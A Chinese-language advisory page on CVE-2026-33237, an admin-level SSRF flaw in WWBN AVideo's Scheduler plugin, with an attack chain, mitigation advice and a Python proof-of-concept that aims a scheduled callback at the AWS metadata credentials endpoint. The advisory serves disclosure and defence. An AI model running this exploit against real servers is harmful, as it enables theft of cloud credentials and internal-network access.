IPBUF安全漏洞报告
English
CVE-2026-33237 CVSS 5.5 中危

CVE-2026-33237 WWBN AVideo服务端请求伪造漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-33237
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFServer-Side Request ForgeryWWBN AVideoCVE-2026-33237中危Scheduler Plugin

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0版本之前,其Scheduler插件存在服务端请求伪造(SSRF)漏洞。该插件的`run()`函数在处理管理员配置的回调URL时,仅校验了URL格式,未调用`isSSRFSafeURL()`进行安全过滤。拥有高权限的攻击者可构造恶意请求,利用该漏洞探测或访问内网敏感资源及云元数据服务。

技术细节

该漏洞根因位于`plugin/Scheduler/Scheduler.php`文件的`run()`函数中。当系统执行定时任务时,代码调用`url_get_contents()`请求管理员预设的`callbackURL`。尽管代码使用了`isValidURL()`来验证URL格式的合法性,但未调用平台已有的安全函数`isSSRFSafeURL()`。该安全函数专门用于拦截指向RFC-1918私有地址段(如10.0.0.0/8)、本地回环地址以及云服务元数据端点(如AWS的169.254.169.254)的请求。由于缺乏这一关键过滤,拥有管理员权限的攻击者可以配置一个恶意的定时任务,将`callbackURL`指向内部基础设施。当任务触发时,服务器将作为代理向内网发起请求,攻击者借此可扫描内网端口、访问内部API或窃取云实例的敏感元数据凭证。

攻击链分析

STEP 1
1. 权限获取
攻击者必须获取AVideo平台的管理员权限账号及会话凭证。
STEP 2
2. 访问插件配置
攻击者登录后台,访问Scheduler(计划任务)插件的管理界面或API接口。
STEP 3
3. 构造恶意参数
攻击者在创建或编辑任务时,将`callbackURL`参数设置为内网敏感地址(如http://169.254.169.254/latest/meta-data/)。由于系统仅检查格式,该输入会被接受。
STEP 4
4. 触发漏洞执行
当定时任务被执行时,服务端的`url_get_contents()`函数会向攻击者指定的内网地址发起HTTP请求。
STEP 5
5. 数据窃取
服务器将内网服务的响应内容返回或记录,攻击者借此获取云元数据凭证或内网API信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33237 # This script requires valid administrator credentials to exploit the SSRF. import requests def exploit_ssrf(target_host, admin_session): # The vulnerable endpoint for configuring the scheduler url = f"{target_host}/objects/pluginScheduler.json.php" # Malicious payload targeting AWS metadata service (or internal network) # This bypasses isValidURL() but is not blocked by isSSRFSafeURL() ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Data to create a scheduled task with the malicious callback data = { 'callbackURL': ssrf_payload, 'action': 'save', 'run_interval': '3600', 'title': 'Malicious Task' } try: print(f"[*] Sending malicious payload to {target_host}...") response = admin_session.post(url, data=data) if response.status_code == 200: print("[+] Scheduler task configured successfully.") print("[+] The server will now request the internal metadata URL when the task runs.") else: print(f"[-] Failed to configure task. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage example: # session = requests.Session() # session.post("/login", data={"user":"admin", "pass":"password"}) # exploit_ssrf("http://avideo-example.com", session)

影响范围

WWBN AVideo < 26.0

防御指南

临时缓解措施
建议管理员立即将系统升级至26.0及以上版本。若暂时无法升级,应审查所有Scheduler任务中的回调URL配置,确保未指向内网地址。同时,加强对管理员账号的监控,并在网络出口处实施严格的ACL策略,阻断服务器对非业务必要内网及元数据端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表